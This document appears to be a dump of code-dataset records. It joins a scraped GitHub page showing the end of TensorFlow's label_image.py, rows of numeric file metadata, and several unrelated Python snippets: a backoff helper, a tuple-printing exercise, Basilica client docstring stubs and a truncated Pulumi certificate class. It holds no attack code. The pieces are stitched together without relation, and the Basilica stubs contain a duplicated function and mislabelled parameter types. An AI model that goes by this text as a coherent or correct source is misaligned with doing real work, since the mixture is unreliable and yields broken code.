<td id="LC95" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--input_layer<span class="pl-pds">"</span></span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>name of input layer<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L96" class="blob-num js-line-number" data-line-number="96"></td>
<td id="LC96" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--output_layer<span class="pl-pds">"</span></span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>name of output layer<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L97" class="blob-num js-line-number" data-line-number="97"></td>
<td id="LC97" class="blob-code blob-code-inner js-file-line"> args <span class="pl-k">=</span> parser.parse_args()</td>
</tr>
<tr>
<td id="L98" class="blob-num js-line-number" data-line-number="98"></td>
<td id="LC98" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L99" class="blob-num js-line-number" data-line-number="99"></td>
<td id="LC99" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.graph:</td>
</tr>
<tr>
<td id="L100" class="blob-num js-line-number" data-line-number="100"></td>
<td id="LC100" class="blob-code blob-code-inner js-file-line"> model_file <span class="pl-k">=</span> args.graph</td>
</tr>
<tr>
<td id="L101" class="blob-num js-line-number" data-line-number="101"></td>
<td id="LC101" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.image:</td>
</tr>
<tr>
<td id="L102" class="blob-num js-line-number" data-line-number="102"></td>
<td id="LC102" class="blob-code blob-code-inner js-file-line"> file_name <span class="pl-k">=</span> args.image</td>
</tr>
<tr>
<td id="L103" class="blob-num js-line-number" data-line-number="103"></td>
<td id="LC103" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.labels:</td>
</tr>
<tr>
<td id="L104" class="blob-num js-line-number" data-line-number="104"></td>
<td id="LC104" class="blob-code blob-code-inner js-file-line"> label_file <span class="pl-k">=</span> args.labels</td>
</tr>
<tr>
<td id="L105" class="blob-num js-line-number" data-line-number="105"></td>
<td id="LC105" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.input_height:</td>
</tr>
<tr>
<td id="L106" class="blob-num js-line-number" data-line-number="106"></td>
<td id="LC106" class="blob-code blob-code-inner js-file-line"> input_height <span class="pl-k">=</span> args.input_height</td>
</tr>
<tr>
<td id="L107" class="blob-num js-line-number" data-line-number="107"></td>
<td id="LC107" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.input_width:</td>
</tr>
<tr>
<td id="L108" class="blob-num js-line-number" data-line-number="108"></td>
<td id="LC108" class="blob-code blob-code-inner js-file-line"> input_width <span class="pl-k">=</span> args.input_width</td>
</tr>
<tr>
<td id="L109" class="blob-num js-line-number" data-line-number="109"></td>
<td id="LC109" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.input_mean:</td>
</tr>
<tr>
<td id="L110" class="blob-num js-line-number" data-line-number="110"></td>
<td id="LC110" class="blob-code blob-code-inner js-file-line"> input_mean <span class="pl-k">=</span> args.input_mean</td>
</tr>
<tr>
<td id="L111" class="blob-num js-line-number" data-line-number="111"></td>
<td id="LC111" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.input_std:</td>
</tr>
<tr>
<td id="L112" class="blob-num js-line-number" data-line-number="112"></td>
<td id="LC112" class="blob-code blob-code-inner js-file-line"> input_std <span class="pl-k">=</span> args.input_std</td>
</tr>
<tr>
<td id="L113" class="blob-num js-line-number" data-line-number="113"></td>
<td id="LC113" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.input_layer:</td>
</tr>
<tr>
<td id="L114" class="blob-num js-line-number" data-line-number="114"></td>
<td id="LC114" class="blob-code blob-code-inner js-file-line"> input_layer <span class="pl-k">=</span> args.input_layer</td>
</tr>
<tr>
<td id="L115" class="blob-num js-line-number" data-line-number="115"></td>
<td id="LC115" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> args.output_layer:</td>
</tr>
<tr>
<td id="L116" class="blob-num js-line-number" data-line-number="116"></td>
<td id="LC116" class="blob-code blob-code-inner js-file-line"> output_layer <span class="pl-k">=</span> args.output_layer</td>
</tr>
<tr>
<td id="L117" class="blob-num js-line-number" data-line-number="117"></td>
<td id="LC117" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L118" class="blob-num js-line-number" data-line-number="118"></td>
<td id="LC118" class="blob-code blob-code-inner js-file-line"> graph <span class="pl-k">=</span> load_graph(model_file)</td>
</tr>
<tr>
<td id="L119" class="blob-num js-line-number" data-line-number="119"></td>
<td id="LC119" class="blob-code blob-code-inner js-file-line"> t <span class="pl-k">=</span> read_tensor_from_image_file(</td>
</tr>
<tr>
<td id="L120" class="blob-num js-line-number" data-line-number="120"></td>
<td id="LC120" class="blob-code blob-code-inner js-file-line"> file_name,</td>
</tr>
<tr>
<td id="L121" class="blob-num js-line-number" data-line-number="121"></td>
<td id="LC121" class="blob-code blob-code-inner js-file-line"> <span class="pl-v">input_height</span><span class="pl-k">=</span>input_height,</td>
</tr>
<tr>
<td id="L122" class="blob-num js-line-number" data-line-number="122"></td>
<td id="LC122" class="blob-code blob-code-inner js-file-line"> <span class="pl-v">input_width</span><span class="pl-k">=</span>input_width,</td>
</tr>
<tr>
<td id="L123" class="blob-num js-line-number" data-line-number="123"></td>
<td id="LC123" class="blob-code blob-code-inner js-file-line"> <span class="pl-v">input_mean</span><span class="pl-k">=</span>input_mean,</td>
</tr>
<tr>
<td id="L124" class="blob-num js-line-number" data-line-number="124"></td>
<td id="LC124" class="blob-code blob-code-inner js-file-line"> <span class="pl-v">input_std</span><span class="pl-k">=</span>input_std)</td>
</tr>
<tr>
<td id="L125" class="blob-num js-line-number" data-line-number="125"></td>
<td id="LC125" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L126" class="blob-num js-line-number" data-line-number="126"></td>
<td id="LC126" class="blob-code blob-code-inner js-file-line"> input_name <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>import/<span class="pl-pds">"</span></span> <span class="pl-k">+</span> input_layer</td>
</tr>
<tr>
<td id="L127" class="blob-num js-line-number" data-line-number="127"></td>
<td id="LC127" class="blob-code blob-code-inner js-file-line"> output_name <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>import/<span class="pl-pds">"</span></span> <span class="pl-k">+</span> output_layer</td>
</tr>
<tr>
<td id="L128" class="blob-num js-line-number" data-line-number="128"></td>
<td id="LC128" class="blob-code blob-code-inner js-file-line"> input_operation <span class="pl-k">=</span> graph.get_operation_by_name(input_name)</td>
</tr>
<tr>
<td id="L129" class="blob-num js-line-number" data-line-number="129"></td>
<td id="LC129" class="blob-code blob-code-inner js-file-line"> output_operation <span class="pl-k">=</span> graph.get_operation_by_name(output_name)</td>
</tr>
<tr>
<td id="L130" class="blob-num js-line-number" data-line-number="130"></td>
<td id="LC130" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L131" class="blob-num js-line-number" data-line-number="131"></td>
<td id="LC131" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">with</span> tf.Session(<span class="pl-v">graph</span><span class="pl-k">=</span>graph) <span class="pl-k">as</span> sess:</td>
</tr>
<tr>
<td id="L132" class="blob-num js-line-number" data-line-number="132"></td>
<td id="LC132" class="blob-code blob-code-inner js-file-line"> results <span class="pl-k">=</span> sess.run(output_operation.outputs[<span class="pl-c1">0</span>], {</td>
</tr>
<tr>
<td id="L133" class="blob-num js-line-number" data-line-number="133"></td>
<td id="LC133" class="blob-code blob-code-inner js-file-line"> input_operation.outputs[<span class="pl-c1">0</span>]: t</td>
</tr>
<tr>
<td id="L134" class="blob-num js-line-number" data-line-number="134"></td>
<td id="LC134" class="blob-code blob-code-inner js-file-line"> })</td>
</tr>
<tr>
<td id="L135" class="blob-num js-line-number" data-line-number="135"></td>
<td id="LC135" class="blob-code blob-code-inner js-file-line"> results <span class="pl-k">=</span> np.squeeze(results)</td>
</tr>
<tr>
<td id="L136" class="blob-num js-line-number" data-line-number="136"></td>
<td id="LC136" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L137" class="blob-num js-line-number" data-line-number="137"></td>
<td id="LC137" class="blob-code blob-code-inner js-file-line"> top_k <span class="pl-k">=</span> results.argsort()[<span class="pl-k">-</span><span class="pl-c1">5</span>:][::<span class="pl-k">-</span><span class="pl-c1">1</span>]</td>
</tr>
<tr>
<td id="L138" class="blob-num js-line-number" data-line-number="138"></td>
<td id="LC138" class="blob-code blob-code-inner js-file-line"> labels <span class="pl-k">=</span> load_labels(label_file)</td>
</tr>
<tr>
<td id="L139" class="blob-num js-line-number" data-line-number="139"></td>
<td id="LC139" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">for</span> i <span class="pl-k">in</span> top_k:</td>
</tr>
<tr>
<td id="L140" class="blob-num js-line-number" data-line-number="140"></td>
<td id="LC140" class="blob-code blob-code-inner js-file-line"> <span class="pl-c1">print</span>(labels[i], results[i])</td>
</tr>
</table>
<details class="details-reset details-overlay BlobToolbar position-absolute js-file-line-actions dropdown d-none" aria-hidden="true">
<summary class="btn-octicon ml-0 px-2 p-0 bg-white border border-gray-dark rounded-1" aria-label="Inline file action toolbar">
<svg class="octicon octicon-kebab-horizontal" viewBox="0 0 13 16" version="1.1" width="13" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z"/></svg>
</summary>
<details-menu>
<ul class="BlobToolbar-dropdown dropdown-menu dropdown-menu-se mt-2">
<li><clipboard-copy role="menuitem" class="dropdown-item" id="js-copy-lines" style="cursor:pointer;" data-original-text="Copy lines">Copy lines</clipboard-copy></li>
<li><clipboard-copy role="menuitem" class="dropdown-item" id="js-copy-permalink" style="cursor:pointer;" data-original-text="Copy permalink">Copy permalink</clipboard-copy></li>
<li><a class="dropdown-item js-update-url-with-hash" id="js-view-git-blame" role="menuitem" href="/tensorflow/tensorflow/blame/44442969c0596728dbdb98035bffc2baf1790f13/tensorflow/examples/label_image/label_image.py">View git blame</a></li>
<li><a class="dropdown-item" id="js-new-issue" role="menuitem" href="/tensorflow/tensorflow/issues/new/choose">Open new issue</a></li>
</ul>
</details-menu>
</details>
</div>
</div>
<details class="details-reset details-overlay details-overlay-dark">
<summary data-hotkey="l" aria-label="Jump to line"></summary>
<details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast linejump" aria-label="Jump to line">
<!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-jump-to-line-form Box-body d-flex" action="" accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" />
<input class="form-control flex-auto mr-3 linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus>
<button type="submit" class="btn" data-close-dialog>Go</button>
</form> </details-dialog>
</details>
</div>
<div class="modal-backdrop js-touch-events"></div>
</div>
</div>
</div>
</div>
<div class="footer container-lg px-3" role="contentinfo">
<div class="position-relative d-flex flex-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light ">
<ul class="list-style-none d-flex flex-wrap ">
<li class="mr-3">© 2019 <span title="0.22018s from unicorn-68b7dd5bfc-nvvfs">GitHub</span>, Inc.</li>
<li class="mr-3"><a data-ga-click="Footer, go to terms, text:terms" href="https://github.com/site/terms">Terms</a></li>
<li class="mr-3"><a data-ga-click="Footer, go to privacy, text:privacy" href="https://github.com/site/privacy">Privacy</a></li>
<li class="mr-3"><a href="/security" data-ga-click="Footer, go to security, text:security">Security</a></li>
<li class="mr-3"><a href="https://githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a></li>
<li><a data-ga-click="Footer, go to help, text:help" href="https://help.github.com">Help</a></li>
</ul>
<a aria-label="Homepage" title="GitHub" class="footer-octicon mr-lg-4" href="https://github.com">
<svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
</a>
<ul class="list-style-none d-flex flex-wrap ">
<li class="mr-3"><a data-ga-click="Footer, go to contact, text:contact" href="https://github.com/contact">Contact GitHub</a></li>
<li class="mr-3"><a href="https://github.com/pricing" data-ga-click="Footer, go to Pricing, text:Pricing">Pricing</a></li>
<li class="mr-3"><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li>
<li class="mr-3"><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li>
<li class="mr-3"><a href="https://blog.github.com" data-ga-click="Footer, go to blog, text:blog">Blog</a></li>
<li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li>
</ul>
</div>
<div class="d-flex flex-justify-center pb-6">
<span class="f6 text-gray-light"></span>
</div>
</div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error">
<svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg>
<button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
<svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg>
</button>
You can’t perform that action at this time.
</div>
<script crossorigin="anonymous" integrity="sha512-qj1Z4g+YDVWKElb6FC42CcUWNq8P0W9aiU0CtKWjzuEMO9tb8sbbJ48dWUkmaOIe7WlLJXkI4YsUCKMxRMxT5A==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-9ee26246cce2c45ef24accded28cdabe.js"></script>
<script crossorigin="anonymous" async="async" integrity="sha512-YK1qKaJaboZghfxUvkZpVcxPUUE74mJclzBlt7BcsMQp37KQFQCIjO9ySZpwS3FdiPv2pmTEs5qakCIlGRVGwA==" type="application/javascript" src="https://github.githubassets.com/assets/github-f64ad9727bd629401c830ad67cd20b4c.js"></script>
<div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none">
<svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg>
<span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
<span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
</div>
<div class="facebox" id="facebox" style="display:none;">
<div class="facebox-popup">
<div class="facebox-content" role="dialog" aria-labelledby="facebox-header" aria-describedby="facebox-description">
</div>
<button type="button" class="facebox-close js-facebox-close" aria-label="Close modal">
<svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg>
</button>
</div>
</div>
<template id="site-details-dialog">
<details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark" open>
<summary aria-haspopup="dialog" aria-label="Close dialog"></summary>
<details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast">
<button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog>
<svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg>
</button>
<div class="octocat-spinner my-6 js-details-dialog-spinner"></div>
</details-dialog>
</details>
</template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0">
<div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;">
</div>
</div>
<div id="hovercard-aria-description" class="sr-only">
Press h to open a hovercard with more details.
</div>
<div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div>
</body>
</html>
| 64.753716 | 784 | 0.637344 | 26,512 | 161,172 | 3.856103 | 0.057521 | 0.040408 | 0.043548 | 0.0394 | 0.827952 | 0.801855 | 0.788248 | 0.778066 | 0.759031 | 0.688242 | 0 | 0.08136 | 0.16975 | 161,172 | 2,488 | 785 | 64.779743 | 0.682535 | 0 | 0 | 0.54441 | 0 | 0.047724 | 0.494245 | 0.142693 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.005303 | null | null | 0.000884 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
01ccee9d614ba8cd27830b40e164178aa2c6067f | 187 | py | Python | data_resource_api/utils/exponential_backoff.py | brighthive/data-resource-api | a012fc0743f1ce2b72ddacf348c57adf44245cfa | [
"MIT"
] | 4 | 2019-02-14T01:07:54.000Z | 2019-11-04T17:28:35.000Z | data_resource_api/utils/exponential_backoff.py | brighthive/data-resource-api | a012fc0743f1ce2b72ddacf348c57adf44245cfa | [
"MIT"
] | 39 | 2019-05-30T22:08:46.000Z | 2022-02-17T02:47:00.000Z | data_resource_api/utils/exponential_backoff.py | brighthive/data-resource-api | a012fc0743f1ce2b72ddacf348c57adf44245cfa | [
"MIT"
] | 1 | 2020-04-29T18:16:20.000Z | 2020-04-29T18:16:20.000Z | def exponential_backoff(wait_time, exponential_rate):
def wait_func():
nonlocal wait_time
wait_time *= exponential_rate
return wait_time
return wait_func
| 23.375 | 53 | 0.700535 | 23 | 187 | 5.304348 | 0.391304 | 0.262295 | 0.311475 | 0.377049 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.251337 | 187 | 7 | 54 | 26.714286 | 0.871429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
bd644be6c3faf3e6728be81395bdc305670cc6c7 | 107 | py | Python | w3resource/Tuple/Tuple07.py | DanielPascualSenties/pythonw3 | f0355d1b640dec19e0b087797538204332111bb5 | [
"MIT"
] | null | null | null | w3resource/Tuple/Tuple07.py | DanielPascualSenties/pythonw3 | f0355d1b640dec19e0b087797538204332111bb5 | [
"MIT"
] | null | null | null | w3resource/Tuple/Tuple07.py | DanielPascualSenties/pythonw3 | f0355d1b640dec19e0b087797538204332111bb5 | [
"MIT"
] | null | null | null | tup = (1, "galleta", 3, 4.5, 'a', 4, 6, 2, 7, 2, 5, 80, 1335, 5, 78, 443, 68)
print(tup[4])
print(tup[-4])
| 26.75 | 77 | 0.495327 | 25 | 107 | 2.12 | 0.64 | 0.301887 | 0.339623 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.302326 | 0.196262 | 107 | 3 | 78 | 35.666667 | 0.313953 | 0 | 0 | 0 | 0 | 0 | 0.074766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
bdb4111e00ba854d0649e3de3a124727e2dcac6f | 6,144 | py | Python | docs/basilica.py | basilica-ai/basilica-R-client | bcc75a5121d90adc32d681705f6ccf37138dac70 | [
"MIT"
] | 13 | 2019-02-20T02:34:01.000Z | 2019-08-12T18:32:10.000Z | docs/basilica.py | basilica-ai/basilica-R-client | bcc75a5121d90adc32d681705f6ccf37138dac70 | [
"MIT"
] | null | null | null | docs/basilica.py | basilica-ai/basilica-R-client | bcc75a5121d90adc32d681705f6ccf37138dac70 | [
"MIT"
] | 1 | 2019-02-09T21:18:26.000Z | 2019-02-09T21:18:26.000Z | def connect(auth_key, server):
"""Instantiates and returns a Basilica connection tied to a specific auth key and server. It also populates a global `basilica_connection` that is a copy of the returned connection. If a `conn` argument is not passed to an `embed_*` function, this global connection will be used.
:param auth_key: Basilica API key. You can view your auth keys at https://basilica.ai/auth_keys.
:type auth_key: str
:param server: Basilica server to point to (Default: `https://api.basilica.ai`)
:type server: str
>>> conn <- connect("SLOW_DEMO_KEY") # Create a connection to pass to functions
embeddings <- embed_sentences(c("hello world"), conn=conn)
>>> connect("SLOW_DEMO_KEY") # Populate the global connection
embeddings <- embed_sentences(c("hello world"))
embeddings <- embed_sentences(c("hello world")) # Will both use the sameglobal connection
"""
pass
def embed_sentence(sentence, model, version, conn, timeout):
"""Get a vector of features for a sentence
:param sentence: Sentence or string
:type server: character()
:param model: Name of the image model you wish to use. (Default: `english`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
def embed_sentences(sentences, model, version, conn, timeout):
"""Get a vector of features for a list of sentences
:param sentence: Sentence or string
:type server: list()
:param model: Name of the image model you wish to use. (Default: `english`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
def embed_image(image, model, version, conn, timeout):
"""Get a vector of features for an image
:param image: Raw vector read from image file (JPEG or PNG)
:type image: raw()
:param model: Name of the image model you wish to use. (Default: `generic`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
def embed_images(images, model, version, conn, timeout):
"""Get a vector of features for a list images
:param images: List of raw vectors read from image files (JPEG or PNG)
:type images: list()
:param model: Name of the image model you wish to use. (Default: `generic`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
def embed_images(images, model, version, conn, timeout):
"""Get a vector of features for a list images
:param images: List of raw vectors read from image files (JPEG or PNG)
:type images: list()
:param model: Name of the image model you wish to use. (Default: `generic`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
def embed_image_file(image_path, model, version, conn, timeout):
"""Get a vector of features for an image
:param image_path: Path to an image (JPEG or PNG)
:type images: character()
:param model: Name of the image model you wish to use. (Default: `generic`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
def embed_image_files(image_paths, model, version, conn, timeout):
"""Get a vector of features for a list images
:param image_paths: List of file paths to images (JPEG or PNG)
:type images: list()
:param model: Name of the image model you wish to use. (Default: `generic`)
:type model: character()
:param version: Version of the image model you wish to use. (Default: `default`)
:type version: character()
:param conn: Basilica connection. Must be created with the `connect` function (Default: Global `basilica_connection`)
:type conn: environment()
:param timeout: Time (in seconds) before requests times out. (Default `5`)
:type timeout: number()
:returns: An embedding.
:rtype: Matrix
"""
pass
| 42.372414 | 283 | 0.688802 | 836 | 6,144 | 5.022727 | 0.129187 | 0.068588 | 0.033341 | 0.050012 | 0.834484 | 0.819481 | 0.794475 | 0.775899 | 0.775899 | 0.775899 | 0 | 0.001441 | 0.20931 | 6,144 | 144 | 284 | 42.666667 | 0.862907 | 0.832357 | 0 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0.5 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
bdd983761f955cdaafee9b59091ca36621b68934 | 27,633 | py | Python | sdk/python/pulumi_digitalocean/certificate.py | yitsushi/pulumi-digitalocean | 9d408e7e4a3bed2d9e7aa91a32e2f154706a3400 | [
"ECL-2.0",
"Apache-2.0"
] | 53 | 2019-04-25T14:43:12.000Z | 2022-03-14T15:51:44.000Z | sdk/python/pulumi_digitalocean/certificate.py | yitsushi/pulumi-digitalocean | 9d408e7e4a3bed2d9e7aa91a32e2f154706a3400 | [
"ECL-2.0",
"Apache-2.0"
] | 158 | 2019-04-15T21:47:18.000Z | 2022-03-29T21:21:57.000Z | sdk/python/pulumi_digitalocean/certificate.py | yitsushi/pulumi-digitalocean | 9d408e7e4a3bed2d9e7aa91a32e2f154706a3400 | [
"ECL-2.0",
"Apache-2.0"
] | 10 | 2019-04-15T20:16:11.000Z | 2021-05-28T19:08:32.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
from ._enums import *
__all__ = ['CertificateArgs', 'Certificate']
@pulumi.input_type
class CertificateArgs:
def __init__(__self__, *,
certificate_chain: Optional[pulumi.Input[str]] = None,
domains: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
leaf_certificate: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[Union[str, 'CertificateType']]] = None):
"""
The set of arguments for constructing a Certificate resource.
:param pulumi.Input[str] certificate_chain: The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] domains: List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
:param pulumi.Input[str] leaf_certificate: The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
:param pulumi.Input[str] name: The name of the certificate for identification.
:param pulumi.Input[str] private_key: The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
